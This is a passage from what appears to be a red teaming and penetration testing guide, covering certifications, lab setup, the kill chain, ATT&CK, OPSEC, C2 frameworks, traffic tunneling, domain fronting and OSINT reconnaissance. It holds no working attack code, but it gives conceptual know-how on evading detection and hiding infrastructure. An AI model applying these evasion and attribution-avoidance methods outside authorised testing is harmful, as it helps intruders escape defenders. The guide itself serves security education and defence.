Cobalt Strike\n- **Active Directory exploitation** and lateral movement\n- **Evasion techniques** for modern defenses\n- **Operational security** considerations\n\nThe CRTO fills a gap between penetration testing certifications and advanced adversary simulation, providing practical red teaming skills in a hands-on format.\n\n**Offensive Security Experienced Penetration Tester (OSEP)**\n\nThe OSEP represents Offensive Security's advanced penetration testing certification, focusing on evading modern defenses and exploiting hardened environments. Key areas include:\n\n- **Advanced Active Directory attacks** and trust relationships\n- **Application whitelisting bypasses**\n- **AV and EDR evasion techniques**\n- **Custom exploitation and tool development**\n\nThe OSEP targets experienced penetration testers seeking to operate effectively against well-defended targets with modern security controls.\n\n**Certified Ethical Hacker (CEH)**\n\nThe CEH, offered by EC-Council, provides foundational knowledge of ethical hacking concepts and tools. While less technically demanding than practical certifications, the CEH:\n\n- **Covers broad security concepts** across multiple domains\n- **Satisfies certain compliance requirements** (e.g., some government contracts require CEH)\n- **Provides theoretical foundation** for security professionals\n- **Includes legal and ethical considerations** essential for practice\n\nThe CEH is often criticized within the technical community for its emphasis on tool usage over manual exploitation, but it remains widely recognized in corporate and government environments.\n\n### 1.8 Lab Environment Setup\n\nEstablishing a proper lab environment is essential for developing penetration testing skills without risking legal consequences or damaging production systems.\n\n**Virtualization Platforms**\n\nModern penetration testing labs rely heavily on virtualization to create isolated, reproducible environments:\n\n- **VMware Workstation/Player** provides robust desktop virtualization with snapshot capabilities for checkpointing\n- **VirtualBox** offers open-source virtualization compatible with most operating systems\n- **Proxmox VE** enables enterprise-scale virtualization for complex lab environments\n- **ESXi** provides bare-metal hypervisor performance for resource-intensive labs\n\nThe choice of platform depends on available hardware, desired scale, and specific testing requirements. Most beginners start with VirtualBox or VMware Workstation due to their accessibility and broad compatibility with pre-built virtual machines.\n\n**Vulnerable Lab Platforms**\n\nSeveral intentionally vulnerable platforms enable safe practice:\n\n- **HackTheBox** provides a constantly updated collection of vulnerable machines with VPN access\n- **TryHackMe** offers guided learning paths with browser-based access\n- **VulnHub** hosts downloadable virtual machines for offline practice\n- **PentesterLab** focuses specifically on web application vulnerabilities\n- **Attack-Defense** provides both offensive and defensive challenges\n\nThese platforms eliminate the need to build vulnerable environments from scratch, allowing practitioners to focus on learning techniques rather than infrastructure.\n\n**Building Custom Labs**\n\nAdvanced practitioners often build custom labs to simulate specific environments:\n\n- **Active Directory labs** using Windows Server and client VMs\n- **Web application labs** with deliberately vulnerable applications like DVWA, WebGoat, or custom applications\n- **Cloud labs** using AWS, Azure, or GCP free tiers with careful cost controls\n- **Containerized environments** using Docker for lightweight, repeatable setups\n\nCustom labs enable targeted practice on specific technologies or configurations relevant to real-world engagements.\n\n**Network Isolation and Safety**\n\nProper isolation prevents accidental attacks on production systems:\n\n- **Host-only networking** restricts VMs to communication with the host only\n- **NAT networking** allows VMs internet access without exposing them to the host network\n- **Internal networks** enable VM-to-VM communication while isolating from the host\n- **VLANs** provide logical segmentation in physical lab environments\n\nMost lab environments should operate on isolated networks without access to production systems. When internet access is required for updates or research, proper firewall rules should restrict outbound connections and block inbound access entirely.\n\n---\n\n## Chapter 2: Red Teaming Fundamentals\n\n### 2.1 Red Team vs Blue Team vs Purple Team\n\nUnderstanding team dynamics is essential for effective security operations. While penetration testing focuses on finding vulnerabilities, mature security organizations employ multiple teams working together to build comprehensive defense capabilities.\n\n**Red Team**\n\nThe red team represents the adversarial perspective within an organization. Composed of skilled security professionals, the red team conducts simulated attacks against the organization's people, processes, and technology. Red team objectives include:\n\n- **Testing detection capabilities** by attempting to operate without triggering alerts\n- **Validating response procedures** through realistic attack scenarios\n- **Identifying gaps in security controls** that automated assessments might miss\n- **Measuring the organization's security maturity** against realistic threats\n- **Providing actionable intelligence** to improve defensive capabilities\n\nUnlike penetration testers who focus on finding vulnerabilities, red teamers focus on achieving objectives while remaining undetected. Success is measured by what they accomplished and how long they operated before detection.\n\n**Blue Team**\n\nThe blue team represents the defensive perspective, responsible for detecting, responding to, and recovering from security incidents. Blue team activities include:\n\n- **Continuous monitoring** of network traffic, system logs, and user activity\n- **Threat hunting** to identify indicators of compromise that automated systems might miss\n- **Incident response** when suspicious activity is detected\n- **Security control maintenance** and optimization\n- **Vulnerability management** based on assessments and threat intelligence\n\nThe blue team's effectiveness is measured by detection time (dwell time), response effectiveness, and ability to prevent recurring incidents.\n\n**Purple Team**\n\nThe purple team represents collaboration between red and blue teams, breaking down adversarial barriers to improve overall security. Rather than operating in isolation, purple teaming involves:\n\n- **Joint exercises** where red team shares techniques and blue team develops corresponding detections\n- **Knowledge transfer** from offensive to defensive perspectives\n- **Continuous improvement cycles** based on exercise results\n- **Metrics development** to measure security program effectiveness\n- **Tool and process validation** through controlled testing\n\nPurple teaming recognizes that the adversarial relationship between red and blue teams, while useful for realistic testing, can prevent the knowledge sharing necessary for improvement. By fostering collaboration, organizations accelerate their security maturity.\n\n### 2.2 Adversary Simulation Concepts\n\nAdversary simulation represents the highest maturity level of offensive security, moving beyond vulnerability discovery to replicate the behaviors, techniques, and procedures of specific threat actors.\n\n**Threat Actor Modeling**\n\nEffective adversary simulation begins with understanding the target threat actor. Threat modeling considers:\n\n- **Motivations and objectives**\u2014financial gain, espionage, disruption, hacktivism\n- **Capabilities and resources**\u2014sophistication level, tooling, funding\n- **Tactics, Techniques, and Procedures (TTPs)**\u2014how they typically operate\n- **Target preferences**\u2014industries, geographies, organization types\n- **Operational security**\u2014how they protect their own operations\n\nOrganizations typically select threat actors relevant to their industry, geographic location, or threat intelligence. A financial institution might simulate FIN7 or Carbanak, while a defense contractor might focus on APT10 or APT41.\n\n**Emulation vs Simulation**\n\nThe terms emulation and simulation are often used interchangeably but represent distinct approaches:\n\n- **Threat simulation** replicates general adversary behaviors without strict adherence to specific TTPs. This approach provides flexibility and tests broad defensive capabilities.\n- **Threat emulation** rigorously follows documented TTPs of specific threat actors, often using the same tools, techniques, and procedures. This approach provides precise measurement against known threats.\n\nMost red team operations fall somewhere between these extremes, using threat intelligence to inform operations while maintaining flexibility to achieve objectives.\n\n**Campaign-Based Operations**\n\nAdversary simulation typically occurs as campaigns\u2014extended operations with specific objectives:\n\n- **Initial access campaigns** test external attack surface and social engineering defenses\n- **Lateral movement campaigns** evaluate internal network segmentation and credential security\n- **Data exfiltration campaigns** assess data loss prevention and detection capabilities\n- **Persistence campaigns** measure ability to detect and remove unauthorized access\n\nCampaigns may run concurrently or sequentially, with lessons learned from each informing subsequent operations.\n\n### 2.3 Cyber Kill Chain Model\n\nThe Cyber Kill Chain, developed by Lockheed Martin, provides a framework for understanding and structuring cyber attacks. Originally derived from military kill chain concepts, it describes the stages adversaries must complete to achieve their objectives.\n\n**Reconnaissance**\n\nThe reconnaissance phase involves researching, identifying, and selecting targets. Adversaries gather information through:\n\n- **Open-source intelligence** from websites, social media, and public records\n- **Technical reconnaissance** like port scanning and service enumeration\n- **Physical reconnaissance** when targeting specific facilities\n- **Social engineering preparation** to craft convincing pretexts\n\nDuring this phase, adversaries identify potential entry points, vulnerable systems, and high-value targets without engaging directly with the target environment.\n\n**Weaponization**\n\nWeaponization combines exploits with payloads to create deliverable weapons. This phase typically involves:\n\n- **Developing or acquiring exploits** for identified vulnerabilities\n- **Creating payloads** to execute upon successful exploitation\n- **Packaging weapons** for delivery (malicious documents, compromised websites, infected USB drives)\n- **Testing weapons** to ensure reliability and avoid detection\n\nModern adversaries often weaponize once and reuse weapons across multiple targets, particularly for commodity malware and phishing campaigns.\n\n**Delivery**\n\nDelivery transmits weapons to the target environment. Common delivery methods include:\n\n- **Email attachments and links** for phishing campaigns\n- **Drive-by downloads** from compromised websites\n- **USB drops** in physical proximity to targets\n- **Watering hole attacks** targeting sites the victim frequently visits\n- **Supply chain compromise** through trusted software updates\n\nDelivery represents the first point of potential detection, as security controls may identify and block malicious content.\n\n**Exploitation**\n\nExploitation triggers the weapon against a vulnerability to gain initial access. This may involve:\n\n- **Software vulnerabilities** like buffer overflows or injection flaws\n- **Configuration weaknesses** like default credentials or misconfigured services\n- **Human vulnerabilities** through social engineering\n- **Zero-day exploits** for previously unknown vulnerabilities\n\nSuccessful exploitation executes the payload, establishing a foothold in the target environment.\n\n**Installation**\n\nInstallation establishes persistent access to the target environment. Activities include:\n\n- **Installing backdoors** for future access\n- **Creating scheduled tasks** or services for persistence\n- **Modifying system files** to maintain access after reboot\n- **Establishing command and control** communication channels\n\nInstallation transforms one-time exploitation into persistent access, enabling long-term operations.\n\n**Command and Control (C2)**\n\nCommand and control establishes the channel through which adversaries direct compromised systems. C2 infrastructure:\n\n- **Provides bidirectional communication** with compromised hosts\n- **Enables payload delivery** for additional tools\n- **Allows adversary control** of compromised systems\n- **Maintains operational security** through encryption and covert channels\n\nC2 represents a critical detection point, as defenders may identify anomalous communication patterns.\n\n**Actions on Objectives**\n\nThe final phase accomplishes the adversary's objectives. Common objectives include:\n\n- **Data exfiltration** of sensitive information\n- **System disruption** through encryption or destruction\n- **Lateral movement** to additional systems\n- **Credential harvesting** for expanded access\n- **Ransomware deployment** for financial gain\n\nThis phase represents the ultimate impact of successful attacks and the final opportunity for detection and response.\n\n### 2.4 Mapping to MITRE ATT&CK\n\nThe MITRE ATT&CK framework provides a comprehensive taxonomy of adversary behaviors, enabling standardized description and comparison of TTPs across threat actors and campaigns.\n\n**ATT&CK Structure**\n\nThe ATT&CK framework organizes adversary behavior into a hierarchical structure:\n\n- **Tactics** represent the \"why\" of an operation\u2014the adversary's technical objectives (Initial Access, Execution, Persistence, etc.)\n- **Techniques** represent the \"how\"\u2014how adversaries achieve tactical objectives (Phishing, Valid Accounts, PowerShell, etc.)\n- **Sub-techniques** provide more specific descriptions of techniques (Phishing: Spearphishing Attachment, Spearphishing Link, etc.)\n- **Procedures** describe specific implementations of techniques used by threat actors\n\nThis structure enables precise communication about adversary behavior while accommodating varying levels of detail.\n\n**ATT&CK for Red Teaming**\n\nRed teams leverage ATT&CK in multiple ways:\n\n- **Operation planning**\u2014selecting techniques that align with emulated threat actors\n- **Coverage assessment**\u2014ensuring operations test a representative range of techniques\n- **Detection validation**\u2014triggering specific techniques to test blue team visibility\n- **Reporting**\u2014communicating findings in industry-standard terminology\n- **Metrics development**\u2014measuring technique success rates and detection rates\n\nMapping operations to ATT&CK transforms subjective assessments into objective, comparable data.\n\n**ATT&CK Navigator**\n\nThe ATT&CK Navigator enables visualization of technique coverage and detection capabilities. Teams can:\n\n- **Create layers** representing different perspectives (red team techniques, blue team detections, threat actor TTPs)\n- **Overlay layers** to identify gaps between attack techniques and defensive coverage\n- **Share visualizations** for reporting and planning\n- **Track coverage improvements** over time\n\nThe Navigator has become an essential tool for communicating complex attack/defense relationships to stakeholders.\n\n### 2.5 Threat Intelligence Integration\n\nEffective red teaming incorporates threat intelligence to ensure operations reflect realistic adversary capabilities and objectives.\n\n**Intelligence Sources**\n\nThreat intelligence comes from diverse sources requiring integration and validation:\n\n- **Open-source intelligence** from security blogs, research reports, and public databases\n- **Commercial intelligence feeds** providing curated, validated threat data\n- **Information sharing communities** like ISACs (Information Sharing and Analysis Centers)\n- **Government threat reports** from agencies like CISA, NCSC, and ENISA\n- **Internal incident data** from past security events\n\nEach source provides unique perspectives, and effective intelligence programs correlate across sources to build comprehensive understanding.\n\n**Intelligence Application**\n\nThreat intelligence informs red team operations at multiple levels:\n\n- **Strategic intelligence** guides campaign planning and objective selection\n- **Operational intelligence** informs technique selection and infrastructure decisions\n- **Tactical intelligence** provides specific indicators and procedures for emulation\n- **Technical intelligence** enables precise replication of malware and tools\n\nIntegrating intelligence ensures red team operations test relevant threats rather than generic attack scenarios.\n\n**Intelligence Gaps and Assumptions**\n\nWhen intelligence is incomplete, red teams must document assumptions and limitations:\n\n- **Threat actor unknown**\u2014simulating generic sophisticated adversaries\n- **TTPs outdated**\u2014emulating historical attacks while acknowledging evolution\n- **Context missing**\u2014operating without full understanding of adversary objectives\n- **Validation unavailable**\u2014emulating based on uncorroborated intelligence\n\nDocumenting intelligence gaps ensures stakeholders understand emulation fidelity and limitations.\n\n### 2.6 Campaign Planning\n\nRed team campaigns require careful planning to achieve objectives while maintaining operational security and avoiding unintended consequences.\n\n**Objective Definition**\n\nCampaign objectives must be specific, measurable, and aligned with organizational goals:\n\n- **Access objectives**\u2014can the team gain access to specific systems or data?\n- **Detection objectives**\u2014how long can the team operate before detection?\n- **Response objectives**\u2014how effectively does the blue team respond to incidents?\n- **Impact objectives**\u2014what damage could the team theoretically cause?\n\nObjectives should be documented in engagement rules and communicated to relevant stakeholders (excluding blue team if testing detection).\n\n**Timeline Development**\n\nCampaign timelines balance realism with practical constraints:\n\n- **Reconnaissance phase**\u2014typically 1-2 weeks for initial intelligence gathering\n- **Initial access phase**\u2014variable based on target hardness and attack methods\n- **Lateral movement phase**\u2014building access to achieve objectives\n- **Objectives phase**\u2014executing specific actions on objectives\n- **Reporting phase**\u2014documenting findings and preparing briefings\n\nExtended campaigns may span months, while focused exercises may complete within weeks.\n\n**Resource Allocation**\n\nCampaign planning must account for team resources:\n\n- **Personnel**\u2014roles required (operators, infrastructure managers, observers)\n- **Infrastructure**\u2014C2 servers, redirectors, phishing domains\n- **Tools**\u2014implants, exploits, enumeration scripts\n- **Time**\u2014operator hours, campaign duration, reporting time\n\nResource constraints often drive trade-offs between emulation fidelity and operational efficiency.\n\n### 2.7 OPSEC Fundamentals\n\nOperational security (OPSEC) distinguishes professional red teaming from penetration testing. Maintaining OPSEC ensures operations remain undetected and provide valid tests of defensive capabilities.\n\n**The OPSEC Process**\n\nOPSEC follows a structured process applicable to red team operations:\n\n1. **Identify critical information**\u2014what must be protected? (C2 infrastructure, operator identities, TTPs)\n2. **Analyze threats**\u2014who poses a threat to operational security? (blue team, law enforcement, competitors)\n3. **Analyze vulnerabilities**\u2014what could expose critical information? (infrastructure patterns, behavioral signatures, operational mistakes)\n4. **Assess risk**\u2014what is the likelihood and impact of exposure?\n5. **Apply countermeasures**\u2014how can risks be mitigated?\n\nThis process should be applied continuously throughout operations, with countermeasures adjusted as threats evolve.\n\n**Infrastructure OPSEC**\n\nRed team infrastructure must be carefully managed to avoid detection:\n\n- **Separation of infrastructure**\u2014operational infrastructure isolated from personal and development infrastructure\n- **Compartmentalization**\u2014different operations use different infrastructure to prevent cross-contamination\n- **Burn procedures**\u2014infrastructure destroyed after operations to prevent re-use by malicious actors\n- **Attribution avoidance**\u2014infrastructure registered through privacy services, paid with anonymous methods\n\nInfrastructure OPSEC prevents defensive teams from blocking red team operations through simple IoC-based controls.\n\n**Behavioral OPSEC**\n\nHow red teamers operate affects detectability:\n\n- **Operational patterns**\u2014avoiding predictable timing and behavior patterns\n- **Communication security**\u2014encrypting all operational communications\n- **Tool usage**\u2014modifying tools to avoid signature detection\n- **Cover stories**\u2014prepared explanations for any operational activity discovered\n\nBehavioral OPSEC recognizes that defenders look for patterns as well as indicators, requiring red teams to vary their approaches and maintain operational discipline.\n\n**OPSEC Failures**\n\nUnderstanding common OPSEC failures helps teams avoid them:\n\n- **Infrastructure reuse** across operations enabling correlation\n- **Personal information leakage** through operational accounts\n- **Tool signature generation** through public repository commits\n- **Communication interception** through unencrypted channels\n- **Operational chatter** in detectable forums or channels\n\nEach failure potentially compromises operations, requiring careful attention to OPSEC fundamentals throughout the engagement lifecycle.\n\n---\n\n## Chapter 3: Lab Infrastructure & Tooling\n\n### 3.1 Virtualization (VMware, VirtualBox, Proxmox)\n\nVirtualization forms the foundation of penetration testing labs, enabling isolated, reproducible environments for practice and operations.\n\n**VMware Solutions**\n\nVMware offers multiple virtualization products suitable for different use cases:\n\n- **VMware Workstation Pro** provides desktop virtualization with snapshot capabilities, cloning, and complex networking options. It's ideal for individual practitioners building small labs with 5-10 virtual machines.\n- **VMware Fusion** offers similar capabilities for macOS users, enabling Windows and Linux VMs on Apple hardware.\n- **VMware vSphere/ESXi** provides enterprise-grade bare-metal hypervisors for large-scale lab environments. ESXi can host dozens of VMs on a single server, with vCenter enabling centralized management across multiple hosts.\n\nVMware's snapshot functionality is particularly valuable for penetration testing, allowing practitioners to capture system states before exploitation and revert after completing exercises.\n\n**VirtualBox**\n\nVirtualBox, maintained by Oracle, provides open-source virtualization accessible to all practitioners. Key features include:\n\n- **Cross-platform compatibility**\u2014running on Windows, macOS, Linux, and Solaris\n- **Snapshot support** for capturing system states\n- **Guest additions** enhancing performance and integration\n- **Internal networking** enabling VM-to-VM communication isolated from the host\n- **NAT networking** providing controlled internet access\n\nVirtualBox's open-source nature and zero cost make it ideal for beginners and organizations with limited budgets. The platform supports most operating systems and provides sufficient performance for typical lab exercises.\n\n**Proxmox VE**\n\nProxmox Virtual Environment combines KVM virtualization with LXC containers in an integrated, web-managed platform. Proxmox offers:\n\n- **Enterprise scalability** with clustering for multiple physical hosts\n- **Web-based management** accessible from any browser\n- **Built-in backups** and snapshot capabilities\n- **Software-defined storage** supporting multiple backends\n- **Container support** for lightweight virtualization\n\nProxmox excels for permanent lab environments requiring persistent infrastructure. Organizations can build dedicated red team labs with dozens of virtual machines representing target networks, domain controllers, and client systems.\n\n**Hyper-V**\n\nMicrosoft's Hyper-V, included with Windows Pro and Enterprise editions, provides another virtualization option particularly useful for Windows-centric labs:\n\n- **Native Windows integration** with excellent performance for Windows guests\n- **PowerShell management** enabling scripted lab deployment\n- **Virtual switch capabilities** supporting complex network topologies\n- **Checkpoint functionality** similar to VMware snapshots\n\nHyper-V is particularly valuable for Active Directory labs where Windows guest performance is critical.\n\n### 3.2 Setting up Kali Linux\n\nKali Linux, maintained by Offensive Security, has become the de facto standard operating system for penetration testing. Proper setup optimizes the platform for efficient testing.\n\n**Installation Methods**\n\nKali Linux can be deployed through multiple methods depending on requirements:\n\n- **Bare metal installation** provides maximum performance but dedicates hardware to Kali\n- **Virtual machine installation** enables snapshots and concurrent OS operation\n- **Live boot from USB** allows testing on unfamiliar hardware without installation\n- **Windows Subsystem for Linux (WSL)** enables Kali tools within Windows\n- **Cloud instances** support remote testing infrastructure\n\nMost practitioners use Kali as a virtual machine, enabling snapshots before risky operations and maintaining host OS stability.\n\n**Post-Installation Configuration**\n\nAfter installation, several configuration steps optimize Kali for daily use:\n\n- **Update the system** with `apt update && apt upgrade -y` to ensure latest tools\n- **Configure network access** ensuring proper NAT or bridged networking\n- **Install VMware Tools or VirtualBox Guest Additions** for enhanced integration\n- **Set up persistent storage** for live USB installations\n- **Configure proxies** if operating behind corporate firewalls\n- **Set up SSH server** for remote access to testing VMs\n\n**Tool Organization**\n\nKali includes thousands of tools organized by category. Understanding the structure improves efficiency:\n\n- **Information gathering**\u2014nmap, theHarvester, Recon-ng\n- **Vulnerability analysis**\u2014OpenVAS, Nikto, sqlmap\n- **Web applications**\u2014Burp Suite, OWASP ZAP, dirb\n- **Password attacks**\u2014John the Ripper, hashcat, Hydra\n- **Exploitation tools**\u2014Metasploit Framework, searchsploit\n- **Post-exploitation**\u2014Empire, PowerShell Empire, mimikatz\n- **Reporting**\u2014Faraday, Dradis, MagicTree\n\nPractitioners typically develop preferences for specific tools and may customize Kali by removing unused tools and adding custom scripts.\n\n**Customization for Efficiency**\n\nProfessional penetration testers customize Kali for their workflow:\n\n- **Aliases** for frequently used commands\n- **Custom scripts** for common testing patterns\n- **Workspace organization** separating client engagements\n- **Tool updates** for manually installed tools not in repositories\n- **Dotfile management** for consistent configuration across machines\n\nTime invested in customization pays dividends in testing efficiency.\n\n### 3.3 Using C2 Frameworks\n\nCommand and Control (C2) frameworks enable red teams to manage compromised systems efficiently and covertly.\n\n**Cobalt Strike**\n\nCobalt Strike represents the industry standard for professional red teaming. Originally developed by Raphael Mudge and now maintained by Fortra, Cobalt Strike provides:\n\n- **Beacon payloads** supporting multiple communication channels (HTTP, HTTPS, DNS, SMB)\n- **Team server architecture** enabling collaborative operations\n- **Extensive post-exploitation** capabilities through Aggressor Script\n- **Flexible reporting** for engagement documentation\n- **Malleable C2 profiles** enabling traffic customization for evasion\n\nCobalt Strike's power comes with complexity, requiring significant training for effective use. The CRTO certification specifically addresses Cobalt Strike operations.\n\n**Mythic**\n\nMythic represents a newer, open-source C2 framework with unique advantages:\n\n- **Cross-platform compatibility** with payloads for multiple operating systems\n- **Modular architecture** supporting community-developed agents\n- **Web-based interface** accessible from any browser\n- **Encrypted communications** with configurable profiles\n- **Active development** with regular feature additions\n\nMythic's open-source nature enables customization and extension, though it lacks some of Cobalt Strike's polish and documentation.\n\n**Sliver**\n\nSliver, developed by Bishop Fox, provides an open-source alternative to Cobalt Strike with growing adoption:\n\n- **Cross-platform implants** supporting Windows, Linux, and macOS\n- **Multiple C2 protocols** including HTTP/HTTPS, DNS, and WireGuard\n- **Operator-focused design** with clear command structure\n- **Active community** and regular updates\n- **Built-in evasion** capabilities\n\nSliver's open-source license and active development make it attractive for teams seeking Cobalt Strike alternatives.\n\n**Covenant**\n\nCovenant specializes in .NET-focused operations, particularly valuable for Windows environments:\n\n- **ASP.NET Core** backend for cross-platform operation\n- **HTTP/HTTPS listeners** for command and control\n- **PowerShell integration** for Windows post-exploitation\n- **User-friendly interface** accessible through browsers\n- **Active Directory focus** with built-in enumeration capabilities\n\nCovenant's .NET foundation enables seamless integration with Windows environments and PowerShell-based operations.\n\n**Framework Selection Criteria**\n\nSelecting appropriate C2 frameworks depends on multiple factors:\n\n- **Target environments**\u2014Windows-heavy targets may favor Cobalt Strike or Covenant\n- **Operational security requirements**\u2014some frameworks offer better evasion\n- **Team size and collaboration needs**\u2014team server capabilities vary\n- **Budget constraints**\u2014open-source options may be necessary\n- **Learning curve**\u2014some frameworks require significant training\n\nMany red teams maintain multiple frameworks, selecting based on specific operational requirements.\n\n### 3.4 Secure Communication Channels\n\nRed team operations require secure communication among team members and between operators and infrastructure.\n\n**Operational Communication**\n\nTeam communication during operations must balance security with efficiency:\n\n- **Matrix/Element** provides end-to-end encrypted messaging suitable for team coordination\n- **Signal** offers strongly encrypted one-to-one and group messaging\n- **Wire** provides business-focused encrypted communication\n- **Rocket.Chat** enables self-hosted encrypted team communication\n\nCommercial solutions like Slack and Microsoft Teams should be avoided for operational communication due to data retention policies and potential legal exposure.\n\n**Infrastructure Communication**\n\nCommunications with operational infrastructure require additional security:\n\n- **SSH with key-based authentication** for server access\n- **VPN connections** to operational networks\n- **Tor** for anonymized access to certain resources\n- **SSH tunnels** for encrypted forwarding of other protocols\n- **Certificate-based authentication** for HTTPS listeners\n\nAll infrastructure communication should be encrypted and authenticated, with access limited to necessary team members.\n\n**Compartmentalization**\n\nCommunication compartmentalization prevents cross-contamination:\n\n- **Separate channels** for different operations\n- **Role-based access** limiting information exposure\n- **Need-to-know principles** restricting sensitive details\n- **Burn-after-reading** procedures for highly sensitive information\n- **Communication schedules** minimizing real-time exposure\n\nEffective compartmentalization ensures that compromise of one communication channel doesn't expose all operations.\n\n### 3.5 Traffic Redirection & Tunneling\n\nTraffic redirection and tunneling enable red teams to route communications through intermediary systems, enhancing operational security and enabling access to segmented networks.\n\n**Proxy Chains**\n\nProxy chains route traffic through multiple proxies, obscuring the original source:\n\n- **SOCKS proxies** support multiple protocols through a single proxy\n- **HTTP proxies** handle web traffic specifically\n- **Proxy lists** enable rotation through multiple exit nodes\n- **Proxy chaining** routes through multiple proxies sequentially\n- **Dynamic proxy selection** based on destination or requirements\n\nTools like proxychains integrate with penetration testing tools, enabling transparent routing through proxy infrastructure.\n\n**SSH Tunneling**\n\nSSH provides versatile tunneling capabilities:\n\n- **Local port forwarding** exposes remote services on local ports\n- **Remote port forwarding** exposes local services on remote ports\n- **Dynamic forwarding** creates SOCKS proxies through SSH connections\n- **SSH over SSH** enables nested tunnels for additional indirection\n\nSSH tunnels are particularly valuable for accessing internal networks after compromising jump hosts.\n\n**VPN Pivoting**\n\nVPN connections enable full network access through compromised systems:\n\n- **OpenVPN** provides flexible VPN capabilities adaptable to various scenarios\n- **WireGuard** offers modern, high-performance VPN with minimal attack surface\n- **SoftEther** supports multiple VPN protocols for compatibility\n- **Custom VPN implementations** for specific operational requirements\n\nVPN pivoting establishes full network presence from compromised hosts, enabling tool traffic to originate from inside target networks.\n\n**Domain Fronting**\n\nDomain fronting leverages content delivery networks to hide C2 infrastructure:\n\n- **CDN utilization** routes traffic through legitimate services\n- **Domain confusion** presents different domains to CDN and destination\n- **TLS encryption** prevents inspection of actual destinations\n- **Traffic blending** with legitimate CDN traffic\n\nDomain fronting has been largely mitigated by CDN providers but remains relevant for historical operations and specific configurations.\n\n### 3.6 Logging & Lab Telemetry\n\nComprehensive logging in lab environments enables analysis, improvement, and validation of red team operations.\n\n**Log Sources**\n\nLab environments should capture multiple log sources:\n\n- **Operating system logs** from all systems (Windows Event Logs, syslog)\n- **Network logs** from switches, firewalls, and monitoring points\n- **Application logs** from web servers, databases, and custom applications\n- **Security tool logs** from EDR, AV, and monitoring solutions\n- **Red team tool logs** from C2 frameworks and exploitation tools\n\nComprehensive logging enables reconstruction of operations for analysis and reporting.\n\n**SIEM Integration**\n\nSecurity Information and Event Management (SIEM) systems centralize log analysis:\n\n- **ELK Stack** (Elasticsearch, Logstash, Kibana) provides open-source SIEM capabilities\n- **Splunk** offers commercial SIEM with extensive analysis features\n- **Graylog** provides focused log management with alerting\n- **Wazuh** combines SIEM with host-based intrusion detection\n\nSIEM integration in labs replicates real-world detection environments and enables testing of detection logic.\n\n**Telemetry Analysis**\n\nLog analysis provides insights into operation effectiveness:\n\n- **Detection timing**\u2014when and how were operations detected?\n- **Coverage gaps**\u2014what activities generated no alerts?\n- **False positives**\u2014what triggered unnecessary alerts?\n- **Response effectiveness**\u2014how did blue team respond to detections?\n\nAnalysis results drive improvement in both offensive and defensive capabilities.\n\n**Retention and Privacy**\n\nLab logging must balance analysis needs with privacy considerations:\n\n- **Data minimization**\u2014logging only necessary information\n- **Access controls**\u2014restricting log access to authorized personnel\n- **Retention periods**\u2014defining how long logs are retained\n- **Anonymization**\u2014removing personal information where possible\n- **Destruction procedures**\u2014secure log deletion after analysis\n\nProper log management ensures labs remain compliant with privacy regulations and organizational policies.\n\n---\n\n# PART II \u2013 RECONNAISSANCE & INTELLIGENCE GATHERING\n\n## Chapter 4: Open-Source Intelligence (OSINT)\n\n### 4.1 Passive Recon Techniques\n\nPassive reconnaissance gathers information without directly interacting with target systems, avoiding detection while building comprehensive intelligence.\n\n**Search Engine Intelligence**\n\nSearch engines provide vast intelligence through advanced operators:\n\n- **Google dorking** uses operators like `site:`, `filetype:`, `intitle:`, and `inurl:` to find specific information\n- **Bing** offers similar capabilities with some unique operators\n- **Yandex** provides different crawling perspectives, particularly valuable for international targets\n- **Shodan** indexes internet-connected devices, revealing exposed services and systems\n- **Censys** provides similar device intelligence with different collection methodologies\n\nEffective search engine research requires understanding both available operators and how to combine them for precise results.\n\n**Certificate Transparency Logs**\n\nCertificate Transparency (CT) logs record every SSL/TLS certificate issued by Certificate Authorities, providing valuable intelligence:\n\n- **crt.sh** offers searchable CT log database\n- **CertSpotter** monitors certificates for specific domains\n- **Facebook CT Search** provides additional search capabilities\n- **Google Transparency Report** includes certificate search\n\nCT logs often reveal subdomains, test environments, and internal systems that have obtained certificates, providing attack surface visibility unavailable through other sources.\n\n**Archived Content**\n\nWeb archives preserve historical versions of websites, revealing information no longer publicly available:\n\n- **Internet Archive Wayback Machine** provides snapshots dating back to 1996\n- **Archive.today** enables on-demand archiving for current capture\n- **Google Cache** shows Google's most recent crawl\n- **Bing Cache** offers alternative cached views\n\nArchived content may reveal old vulnerabilities, exposed credentials, organizational changes, and information inadvertently made public then removed.\n\n**Public Data Sources**\n\nNumerous public data sources contribute to OSINT collection:\n\n- **Government registries**\u2014business registrations, domain registrations, SEC filings\n- **Corporate websites**\u2014press releases, investor relations, job postings\n- **Technical documentation**\u2014API docs, support articles, knowledge bases\n- **Code repositories**\u2014GitHub, GitLab, Bitbucket exposing source code\n- **Package repositories**\u2014npm, PyPI, Maven revealing dependencies\n\nEach source provides unique intelligence, and comprehensive collection requires systematic searching across multiple sources.\n\n### 4.2 WHOIS & DNS Enumeration\n\nDomain registration and DNS information reveal infrastructure relationships and potential attack vectors.\n\n**WHOIS Data**\n\nWHOIS records contain registration information for domains and IP addresses:\n\n- **Registrant details**\u2014name, organization, email, phone, address\n- **Administrative and technical contacts**\u2014alternative contact points\n- **Registration and expiration dates**\u2014timeline for domain ownership\n- **Name servers**\u2014DNS hosting infrastructure\n- **Registrar information**\u2014where the domain was registered\n\nWHOIS privacy services increasingly obscure personal information, but historical WHOIS data may reveal information no longer publicly available.\n\n**DNS Enumeration**\n\nDNS provides a roadmap of target infrastructure:\n\n- **A/AAAA records** map hostnames to IP addresses\n- **MX records** identify mail servers\n- **NS records** identify authoritative name servers\n- **TXT records** may contain verification strings, SPF records, or other information\n- **CNAME records** reveal aliases and relationships between services\n- **SOA records** provide zone administration details\n\nDNS enumeration tools like `dnsrecon`, `dnsenum`, and `fierce` automate collection and analysis.\n\n**DNS Zone Transfers**\n\nZone transfers, if misconfigured, reveal entire DNS zones:\n\n- **AXFR requests** attempt to transfer entire zone\n- **IXFR requests** request incremental zone changes\n- **Name server configuration** determines zone transfer permissions\n\nWhile rare, misconfigured name servers still expose complete DNS records, providing comprehensive infrastructure maps.\n\n**Passive DNS**\n\nPassive DNS databases record historical DNS resolutions:\n\n- **SecurityTrails** provides historical DNS data\n- **DNSDB** by Farsight Security offers comprehensive passive DNS\n- **RiskIQ** includes passive DNS in intelligence offerings\n- **VirusTotal** provides passive DNS through its interface\n\nPassive DNS reveals infrastructure changes over time and may identify systems no longer actively resolved.\n\n### 4.3 Subdomain Enumeration\n\nSubdomains significantly expand attack surface and often expose forgotten or poorly secured systems.\n\n**Brute Force Enumeration**\n\nBrute force techniques guess subdomains using wordlists:\n\n- **Common subdomain wordlists** like SecLists containing thousands of possibilities\n- 